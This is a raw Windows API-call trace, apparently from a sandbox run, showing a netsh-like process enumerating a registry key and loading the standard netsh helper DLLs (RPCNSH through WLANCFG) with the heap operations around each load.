[0048.196] GetProcessHeap () returned 0x2c0000 [0048.196] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x208) returned 0x303d90 [0048.196] memcpy (in: _Dst=0x303d90, _Src=0x2f72f0, _Size=0x1e0 | out: _Dst=0x303d90) returned 0x303d90 [0048.196] GetProcessHeap () returned 0x2c0000 [0048.196] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x303fa0 [0048.197] GetProcessHeap () returned 0x2c0000 [0048.197] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x16) returned 0x2fea20 [0048.197] _wcsupr (in: _String="rpcnsh.dll" | out: _String="RPCNSH.DLL") returned="RPCNSH.DLL" [0048.197] GetProcessHeap () returned 0x2c0000 [0048.197] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2f72f0 | out: hHeap=0x2c0000) returned 1 [0048.198] LoadLibraryW (lpLibFileName="RPCNSH.DLL") returned 0x7fef3390000 [0048.308] GetProcAddress (hModule=0x7fef3390000, lpProcName="InitHelperDll") returned 0x7fef3392e88 [0048.308] InitHelperDll () returned 0x0 [0048.308] RegisterHelper () returned 0x0 [0048.308] GetProcessHeap () returned 0x2c0000 [0048.309] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xa50) returned 0x303fd0 [0048.309] memcpy (in: _Dst=0x303fd0, _Src=0x303390, _Size=0x9f8 | out: _Dst=0x303fd0) returned 0x303fd0 [0048.309] memcpy (in: _Dst=0x3049c8, _Src=0x207770, _Size=0x28 | out: _Dst=0x3049c8) returned 0x3049c8 [0048.309] GetProcessHeap () returned 0x2c0000 [0048.310] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x303390 | out: hHeap=0x2c0000) returned 1 [0048.313] RegisterHelper () returned 0x0 [0048.313] GetProcessHeap () returned 0x2c0000 [0048.313] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xaa8) returned 0x304a30 [0048.313] memcpy (in: _Dst=0x304a30, _Src=0x303fd0, _Size=0xa50 | out: _Dst=0x304a30) returned 0x304a30 [0048.313] memcpy (in: _Dst=0x305480, _Src=0x207770, _Size=0x28 | out: _Dst=0x305480) returned 0x305480 [0048.313] GetProcessHeap () returned 0x2c0000 [0048.314] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x303fd0 | out: hHeap=0x2c0000) returned 1 [0048.314] RegEnumValueW (in: hKey=0x90, dwIndex=0xc, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="dot3cfg", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0048.314] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxmontr.dll") returned -5 [0048.314] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxpromn.dll") returned -5 [0048.314] GetProcessHeap () returned 0x2c0000 [0048.314] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x230) returned 0x2f72f0 [0048.314] memcpy (in: _Dst=0x2f72f0, _Src=0x303d90, _Size=0x208 | out: _Dst=0x2f72f0) returned 0x2f72f0 [0048.314] GetProcessHeap () returned 0x2c0000 [0048.314] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2fea40 [0048.314] GetProcessHeap () returned 0x2c0000 [0048.314] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x2fea60 [0048.314] _wcsupr (in: _String="dot3cfg.dll" | out: _String="DOT3CFG.DLL") returned="DOT3CFG.DLL" [0048.314] GetProcessHeap () returned 0x2c0000 [0048.315] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x303d90 | out: hHeap=0x2c0000) returned 1 [0048.315] LoadLibraryW (lpLibFileName="DOT3CFG.DLL") returned 0x7fef2d10000 [0048.783] GetProcAddress (hModule=0x7fef2d10000, lpProcName="InitHelperDll") returned 0x7fef2d1390c [0048.783] InitHelperDll () returned 0x0 [0048.783] RegisterHelper () returned 0x0 [0048.783] GetProcessHeap () returned 0x2c0000 [0048.783] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xb00) returned 0x303390 [0048.783] memcpy (in: _Dst=0x303390, _Src=0x304a30, _Size=0xaa8 | out: _Dst=0x303390) returned 0x303390 [0048.783] memcpy (in: _Dst=0x303e38, _Src=0x207770, _Size=0x28 | out: _Dst=0x303e38) returned 0x303e38 [0048.783] GetProcessHeap () returned 0x2c0000 [0048.784] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x304a30 | out: hHeap=0x2c0000) returned 1 [0048.796] RegEnumValueW (in: hKey=0x90, dwIndex=0xd, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="napmontr", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0048.798] _wcsicmp (_String1="napmontr.dll", _String2="ipxmontr.dll") returned 5 [0048.798] _wcsicmp (_String1="napmontr.dll", _String2="ipxpromn.dll") returned 5 [0048.799] GetProcessHeap () returned 0x2c0000 [0048.799] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x258) returned 0x2f66a0 [0048.799] memcpy (in: _Dst=0x2f66a0, _Src=0x2f72f0, _Size=0x230 | out: _Dst=0x2f66a0) returned 0x2f66a0 [0048.799] GetProcessHeap () returned 0x2c0000 [0048.799] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x12) returned 0x2feb00 [0048.799] GetProcessHeap () returned 0x2c0000 [0048.799] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1a) returned 0x301570 [0048.799] _wcsupr (in: _String="napmontr.dll" | out: _String="NAPMONTR.DLL") returned="NAPMONTR.DLL" [0048.799] GetProcessHeap () returned 0x2c0000 [0048.800] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2f72f0 | out: hHeap=0x2c0000) returned 1 [0048.800] LoadLibraryW (lpLibFileName="NAPMONTR.DLL") returned 0x7fef2c00000 [0048.909] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2072c0 | out: lpSystemTimeAsFileTime=0x2072c0*(dwLowDateTime=0xc0c2c420, dwHighDateTime=0x1d93032)) [0048.909] GetCurrentProcessId () returned 0xf54 [0048.909] GetCurrentThreadId () returned 0xf58 [0048.909] GetTickCount () returned 0x102c0b4 [0048.911] QueryPerformanceCounter (in: lpPerformanceCount=0x2072c8 | out: lpPerformanceCount=0x2072c8*=1715429758897) returned 1 [0048.911] malloc (_Size=0x100) returned 0x48ac20 [0048.911] __dllonexit () returned 0x7fef2bbd69c [0048.911] GetVersionExW (in: lpVersionInformation=0x206fa0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x480000, dwBuildNumber=0x0, dwPlatformId=0x100, szCSDVersion="") | out: lpVersionInformation=0x206fa0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0048.911] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1=".dll", cchCount1=-1, lpString2=".exe", cchCount2=-1) returned 1 [0048.911] LocalAlloc (uFlags=0x0, uBytes=0x18) returned 0x2feb60 [0048.911] memcpy (in: _Dst=0x2feb60, _Src=0x7fef2bbfb10, _Size=0x18 | out: _Dst=0x2feb60) returned 0x2feb60 [0048.912] AtlModuleInit () returned 0x0 [0048.912] DisableThreadLibraryCalls (hLibModule=0x7fef2b80000) returned 1 [0048.936] GetProcAddress (hModule=0x7fef2c00000, lpProcName="InitHelperDll") returned 0x7fef2c1048c [0048.936] InitHelperDll () returned 0x0 [0048.936] RegisterHelper () returned 0x0 [0048.936] GetProcessHeap () returned 0x2c0000 [0048.936] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xb58) returned 0x303fd0 [0048.937] memcpy (in: _Dst=0x303fd0, _Src=0x303390, _Size=0xb00 | out: _Dst=0x303fd0) returned 0x303fd0 [0048.937] memcpy (in: _Dst=0x304ad0, _Src=0x207770, _Size=0x28 | out: _Dst=0x304ad0) returned 0x304ad0 [0048.937] GetProcessHeap () returned 0x2c0000 [0048.937] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x303390 | out: hHeap=0x2c0000) returned 1 [0048.937] RegisterHelper () returned 0x0 [0048.937] GetProcessHeap () returned 0x2c0000 [0048.937] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xbb0) returned 0x303390 [0048.937] memcpy (in: _Dst=0x303390, _Src=0x303fd0, _Size=0xb58 | out: _Dst=0x303390) returned 0x303390 [0048.937] memcpy (in: _Dst=0x303ee8, _Src=0x7fef2c018c0, _Size=0x28 | out: _Dst=0x303ee8) returned 0x303ee8 [0048.937] GetProcessHeap () returned 0x2c0000 [0048.938] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x303fd0 | out: hHeap=0x2c0000) returned 1 [0048.938] RegisterHelper () returned 0x0 [0048.938] GetProcessHeap () returned 0x2c0000 [0048.938] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc08) returned 0x303fd0 [0048.938] memcpy (in: _Dst=0x303fd0, _Src=0x303390, _Size=0xbb0 | out: _Dst=0x303fd0) returned 0x303fd0 [0048.938] memcpy (in: _Dst=0x304b80, _Src=0x7fef2c018e8, _Size=0x28 | out: _Dst=0x304b80) returned 0x304b80 [0048.938] GetProcessHeap () returned 0x2c0000 [0048.938] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x303390 | out: hHeap=0x2c0000) returned 1 [0048.938] RegEnumValueW (in: hKey=0x90, dwIndex=0xe, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="nshipsec", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0048.938] _wcsicmp (_String1="nshipsec.dll", _String2="ipxmontr.dll") returned 5 [0048.938] _wcsicmp (_String1="nshipsec.dll", _String2="ipxpromn.dll") returned 5 [0048.938] GetProcessHeap () returned 0x2c0000 [0048.938] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x280) returned 0x2f72f0 [0048.938] memcpy (in: _Dst=0x2f72f0, _Src=0x2f66a0, _Size=0x258 | out: _Dst=0x2f72f0) returned 0x2f72f0 [0048.938] GetProcessHeap () returned 0x2c0000 [0048.942] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x12) returned 0x2febc0 [0048.942] GetProcessHeap () returned 0x2c0000 [0048.942] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1a) returned 0x306840 [0048.942] _wcsupr (in: _String="nshipsec.dll" | out: _String="NSHIPSEC.DLL") returned="NSHIPSEC.DLL" [0048.942] GetProcessHeap () returned 0x2c0000 [0048.943] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2f66a0 | out: hHeap=0x2c0000) returned 1 [0048.943] LoadLibraryW (lpLibFileName="NSHIPSEC.DLL") returned 0x7fef2b00000 [0051.589] GetProcAddress (hModule=0x7fef2b00000, lpProcName="InitHelperDll") returned 0x7fef2b06230 [0051.589] InitHelperDll () returned 0x0 [0051.589] RegisterHelper () returned 0x0 [0051.589] GetProcessHeap () returned 0x2c0000 [0051.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc60) returned 0x309fd0 [0051.589] memcpy (in: _Dst=0x309fd0, _Src=0x303fd0, _Size=0xc08 | out: _Dst=0x309fd0) returned 0x309fd0 [0051.589] memcpy (in: _Dst=0x30abd8, _Src=0x207770, _Size=0x28 | out: _Dst=0x30abd8) returned 0x30abd8 [0051.589] GetProcessHeap () returned 0x2c0000 [0051.590] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x303fd0 | out: hHeap=0x2c0000) returned 1 [0051.590] RegisterHelper () returned 0x0 [0051.590] GetProcessHeap () returned 0x2c0000 [0051.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xcb8) returned 0x30ac40 [0051.590] memcpy (in: _Dst=0x30ac40, _Src=0x309fd0, _Size=0xc60 | out: _Dst=0x30ac40) returned 0x30ac40 [0051.590] memcpy (in: _Dst=0x30b8a0, _Src=0x207770, _Size=0x28 | out: _Dst=0x30b8a0) returned 0x30b8a0 [0051.590] GetProcessHeap () returned 0x2c0000 [0051.590] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x309fd0 | out: hHeap=0x2c0000) returned 1 [0051.590] RegisterHelper () returned 0x0 [0051.590] GetProcessHeap () returned 0x2c0000 [0051.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xd10) returned 0x30b900 [0051.591] memcpy (in: _Dst=0x30b900, _Src=0x30ac40, _Size=0xcb8 | out: _Dst=0x30b900) returned 0x30b900 [0051.591] memcpy (in: _Dst=0x30c5b8, _Src=0x207770, _Size=0x28 | out: _Dst=0x30c5b8) returned 0x30c5b8 [0051.591] GetProcessHeap () returned 0x2c0000 [0051.591] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x30ac40 | out: hHeap=0x2c0000) returned 1 [0052.011] RegEnumValueW (in: hKey=0x90, dwIndex=0xf, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="nettrace", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0052.011] _wcsicmp (_String1="nettrace.dll", _String2="ipxmontr.dll") returned 5 [0052.011] _wcsicmp (_String1="nettrace.dll", _String2="ipxpromn.dll") returned 5 [0052.011] GetProcessHeap () returned 0x2c0000 [0052.011] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x2a8) returned 0x3043d0 [0052.011] memcpy (in: _Dst=0x3043d0, _Src=0x2f72f0, _Size=0x280 | out: _Dst=0x3043d0) returned 0x3043d0 [0052.012] GetProcessHeap () returned 0x2c0000 [0052.012] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x12) returned 0x2feda0 [0052.012] GetProcessHeap () returned 0x2c0000 [0052.012] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1a) returned 0x303c40 [0052.012] _wcsupr (in: _String="nettrace.dll" | out: _String="NETTRACE.DLL") returned="NETTRACE.DLL" [0052.012] GetProcessHeap () returned 0x2c0000 [0052.012] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2f72f0 | out: hHeap=0x2c0000) returned 1 [0052.012] LoadLibraryW (lpLibFileName="NETTRACE.DLL") returned 0x7fef26b0000 [0054.397] GetProcAddress (hModule=0x7fef26b0000, lpProcName="InitHelperDll") returned 0x7fef26f7360 [0054.397] InitHelperDll () returned 0x0 [0054.397] RegisterHelper () returned 0x0 [0054.397] GetProcessHeap () returned 0x2c0000 [0054.397] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xd68) returned 0x3101a0 [0054.397] memcpy (in: _Dst=0x3101a0, _Src=0x30b900, _Size=0xd10 | out: _Dst=0x3101a0) returned 0x3101a0 [0054.397] memcpy (in: _Dst=0x310eb0, _Src=0x207770, _Size=0x28 | out: _Dst=0x310eb0) returned 0x310eb0 [0054.397] GetProcessHeap () returned 0x2c0000 [0054.398] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x30b900 | out: hHeap=0x2c0000) returned 1 [0054.398] RegEnumValueW (in: hKey=0x90, dwIndex=0x10, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="WcnNetsh", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0054.398] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxmontr.dll") returned 14 [0054.398] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxpromn.dll") returned 14 [0054.398] GetProcessHeap () returned 0x2c0000 [0054.398] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x2d0) returned 0x30b820 [0054.398] memcpy (in: _Dst=0x30b820, _Src=0x3043d0, _Size=0x2a8 | out: _Dst=0x30b820) returned 0x30b820 [0054.398] GetProcessHeap () returned 0x2c0000 [0054.398] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x12) returned 0x2fed60 [0054.398] GetProcessHeap () returned 0x2c0000 [0054.398] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1a) returned 0x30b6b0 [0054.398] _wcsupr (in: _String="WcnNetsh.dll" | out: _String="WCNNETSH.DLL") returned="WCNNETSH.DLL" [0054.398] GetProcessHeap () returned 0x2c0000 [0054.399] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x3043d0 | out: hHeap=0x2c0000) returned 1 [0054.399] LoadLibraryW (lpLibFileName="WCNNETSH.DLL") returned 0x7fef2a60000 [0054.868] GetProcAddress (hModule=0x7fef2a60000, lpProcName="InitHelperDll") returned 0x7fef2a628e4 [0054.868] InitHelperDll () returned 0x0 [0054.868] RegisterHelper () returned 0x0 [0054.868] GetProcessHeap () returned 0x2c0000 [0054.868] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xdc0) returned 0x311320 [0054.868] memcpy (in: _Dst=0x311320, _Src=0x3101a0, _Size=0xd68 | out: _Dst=0x311320) returned 0x311320 [0054.868] memcpy (in: _Dst=0x312088, _Src=0x207770, _Size=0x28 | out: _Dst=0x312088) returned 0x312088 [0054.868] GetProcessHeap () returned 0x2c0000 [0054.869] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x3101a0 | out: hHeap=0x2c0000) returned 1 [0054.869] RegEnumValueW (in: hKey=0x90, dwIndex=0x11, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="p2pnetsh", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0054.869] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxmontr.dll") returned 7 [0054.869] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxpromn.dll") returned 7 [0054.869] GetProcessHeap () returned 0x2c0000 [0054.869] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x2f8) returned 0x3043d0 [0054.870] memcpy (in: _Dst=0x3043d0, _Src=0x30b820, _Size=0x2d0 | out: _Dst=0x3043d0) returned 0x3043d0 [0054.870] GetProcessHeap () returned 0x2c0000 [0054.870] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x12) returned 0x2feca0 [0054.870] GetProcessHeap () returned 0x2c0000 [0054.870] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1a) returned 0x30bd70 [0054.870] _wcsupr (in: _String="p2pnetsh.dll" | out: _String="P2PNETSH.DLL") returned="P2PNETSH.DLL" [0054.870] GetProcessHeap () returned 0x2c0000 [0054.870] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x30b820 | out: hHeap=0x2c0000) returned 1 [0054.870] LoadLibraryW (lpLibFileName="P2PNETSH.DLL") returned 0x7fef2570000 [0057.580] GetProcAddress (hModule=0x7fef2570000, lpProcName="InitHelperDll") returned 0x7fef2575568 [0057.580] InitHelperDll () returned 0x0 [0057.580] RegisterHelper () returned 0x0 [0057.580] GetProcessHeap () returned 0x2c0000 [0057.580] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe18) returned 0x3190f0 [0057.580] memcpy (in: _Dst=0x3190f0, _Src=0x311320, _Size=0xdc0 | out: _Dst=0x3190f0) returned 0x3190f0 [0057.581] memcpy (in: _Dst=0x319eb0, _Src=0x207770, _Size=0x28 | out: _Dst=0x319eb0) returned 0x319eb0 [0057.581] GetProcessHeap () returned 0x2c0000 [0057.581] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x311320 | out: hHeap=0x2c0000) returned 1 [0057.581] RegisterHelper () returned 0x0 [0057.581] GetProcessHeap () returned 0x2c0000 [0057.581] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe70) returned 0x319f10 [0057.582] memcpy (in: _Dst=0x319f10, _Src=0x3190f0, _Size=0xe18 | out: _Dst=0x319f10) returned 0x319f10 [0057.582] memcpy (in: _Dst=0x31ad28, _Src=0x7fef25971c0, _Size=0x28 | out: _Dst=0x31ad28) returned 0x31ad28 [0057.582] GetProcessHeap () returned 0x2c0000 [0057.582] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x3190f0 | out: hHeap=0x2c0000) returned 1 [0057.582] RegisterHelper () returned 0x0 [0057.582] GetProcessHeap () returned 0x2c0000 [0057.582] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xec8) returned 0x31ad90 [0057.582] memcpy (in: _Dst=0x31ad90, _Src=0x319f10, _Size=0xe70 | out: _Dst=0x31ad90) returned 0x31ad90 [0057.583] memcpy (in: _Dst=0x31bc00, _Src=0x7fef25971e8, _Size=0x28 | out: _Dst=0x31bc00) returned 0x31bc00 [0057.583] GetProcessHeap () returned 0x2c0000 [0057.583] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x319f10 | out: hHeap=0x2c0000) returned 1 [0057.583] RegisterHelper () returned 0x0 [0057.583] GetProcessHeap () returned 0x2c0000 [0057.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xf20) returned 0x3190f0 [0057.583] memcpy (in: _Dst=0x3190f0, _Src=0x31ad90, _Size=0xec8 | out: _Dst=0x3190f0) returned 0x3190f0 [0057.583] memcpy (in: _Dst=0x319fb8, _Src=0x7fef2597210, _Size=0x28 | out: _Dst=0x319fb8) returned 0x319fb8 [0057.583] GetProcessHeap () returned 0x2c0000 [0057.583] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x31ad90 | out: hHeap=0x2c0000) returned 1 [0057.583] RegisterHelper () returned 0x0 [0057.583] GetProcessHeap () returned 0x2c0000 [0057.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xf78) returned 0x31a020 [0057.583] memcpy (in: _Dst=0x31a020, _Src=0x3190f0, _Size=0xf20 | out: _Dst=0x31a020) returned 0x31a020 [0057.583] memcpy (in: _Dst=0x31af40, _Src=0x7fef2597238, _Size=0x28 | out: _Dst=0x31af40) returned 0x31af40 [0057.583] GetProcessHeap () returned 0x2c0000 [0057.583] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x3190f0 | out: hHeap=0x2c0000) returned 1 [0057.583] RegisterHelper () returned 0x0 [0057.583] GetProcessHeap () returned 0x2c0000 [0057.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xfd0) returned 0x31afa0 [0057.583] memcpy (in: _Dst=0x31afa0, _Src=0x31a020, _Size=0xf78 | out: _Dst=0x31afa0) returned 0x31afa0 [0057.583] memcpy (in: _Dst=0x31bf18, _Src=0x7fef2597260, _Size=0x28 | out: _Dst=0x31bf18) returned 0x31bf18 [0057.583] GetProcessHeap () returned 0x2c0000 [0057.583] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x31a020 | out: hHeap=0x2c0000) returned 1 [0057.583] RegisterHelper () returned 0x0 [0057.583] GetProcessHeap () returned 0x2c0000 [0057.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1028) returned 0x3190f0 [0057.583] memcpy (in: _Dst=0x3190f0, _Src=0x31afa0, _Size=0xfd0 | out: _Dst=0x3190f0) returned 0x3190f0 [0057.583] memcpy (in: _Dst=0x31a0c0, _Src=0x7fef2597288, _Size=0x28 | out: _Dst=0x31a0c0) returned 0x31a0c0 [0057.583] GetProcessHeap () returned 0x2c0000 [0057.583] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x31afa0 | out: hHeap=0x2c0000) returned 1 [0057.583] RegisterHelper () returned 0x0 [0057.583] GetProcessHeap () returned 0x2c0000 [0057.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1080) returned 0x31a120 [0057.583] memcpy (in: _Dst=0x31a120, _Src=0x3190f0, _Size=0x1028 | out: _Dst=0x31a120) returned 0x31a120 [0057.584] memcpy (in: _Dst=0x31b148, _Src=0x7fef25972b0, _Size=0x28 | out: _Dst=0x31b148) returned 0x31b148 [0057.584] GetProcessHeap () returned 0x2c0000 [0057.584] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x3190f0 | out: hHeap=0x2c0000) returned 1 [0057.584] RegisterHelper () returned 0x0 [0057.584] GetProcessHeap () returned 0x2c0000 [0057.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10d8) returned 0x31b1b0 [0057.584] memcpy (in: _Dst=0x31b1b0, _Src=0x31a120, _Size=0x1080 | out: _Dst=0x31b1b0) returned 0x31b1b0 [0057.584] memcpy (in: _Dst=0x31c230, _Src=0x7fef25972d8, _Size=0x28 | out: _Dst=0x31c230) returned 0x31c230 [0057.584] GetProcessHeap () returned 0x2c0000 [0057.584] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x31a120 | out: hHeap=0x2c0000) returned 1 [0057.584] RegisterHelper () returned 0x0 [0057.584] GetProcessHeap () returned 0x2c0000 [0057.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1130) returned 0x31c290 [0057.584] memcpy (in: _Dst=0x31c290, _Src=0x31b1b0, _Size=0x10d8 | out: _Dst=0x31c290) returned 0x31c290 [0057.584] memcpy (in: _Dst=0x31d368, _Src=0x7fef2597300, _Size=0x28 | out: _Dst=0x31d368) returned 0x31d368 [0057.584] GetProcessHeap () returned 0x2c0000 [0057.584] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x31b1b0 | out: hHeap=0x2c0000) returned 1 [0057.584] RegEnumValueW (in: hKey=0x90, dwIndex=0x12, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="wwancfg", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0057.584] _wcsicmp (_String1="wwancfg.dll", _String2="ipxmontr.dll") returned 14 [0057.584] _wcsicmp (_String1="wwancfg.dll", _String2="ipxpromn.dll") returned 14 [0057.584] GetProcessHeap () returned 0x2c0000 [0057.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x320) returned 0x31d3d0 [0057.585] memcpy (in: _Dst=0x31d3d0, _Src=0x3043d0, _Size=0x2f8 | out: _Dst=0x31d3d0) returned 0x31d3d0 [0057.585] GetProcessHeap () returned 0x2c0000 [0057.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2fecc0 [0057.585] GetProcessHeap () returned 0x2c0000 [0057.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x2fed20 [0057.585] _wcsupr (in: _String="wwancfg.dll" | out: _String="WWANCFG.DLL") returned="WWANCFG.DLL" [0057.585] GetProcessHeap () returned 0x2c0000 [0057.585] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x3043d0 | out: hHeap=0x2c0000) returned 1 [0057.585] LoadLibraryW (lpLibFileName="WWANCFG.DLL") returned 0x7fef2510000 [0058.159] GetProcAddress (hModule=0x7fef2510000, lpProcName="InitHelperDll") returned 0x7fef25120c8 [0058.159] InitHelperDll () returned 0x0 [0058.159] RegisterHelper () returned 0x0 [0058.159] GetProcessHeap () returned 0x2c0000 [0058.159] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1188) returned 0x3190f0 [0058.159] memcpy (in: _Dst=0x3190f0, _Src=0x31c290, _Size=0x1130 | out: _Dst=0x3190f0) returned 0x3190f0 [0058.159] memcpy (in: _Dst=0x31a220, _Src=0x207770, _Size=0x28 | out: _Dst=0x31a220) returned 0x31a220 [0058.159] GetProcessHeap () returned 0x2c0000 [0058.159] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x31c290 | out: hHeap=0x2c0000) returned 1 [0058.159] RegEnumValueW (in: hKey=0x90, dwIndex=0x13, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="wlancfg", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0058.159] _wcsicmp (_String1="wlancfg.dll", _String2="ipxmontr.dll") returned 14 [0058.159] _wcsicmp (_String1="wlancfg.dll", _String2="ipxpromn.dll") returned 14 [0058.159] GetProcessHeap () returned 0x2c0000 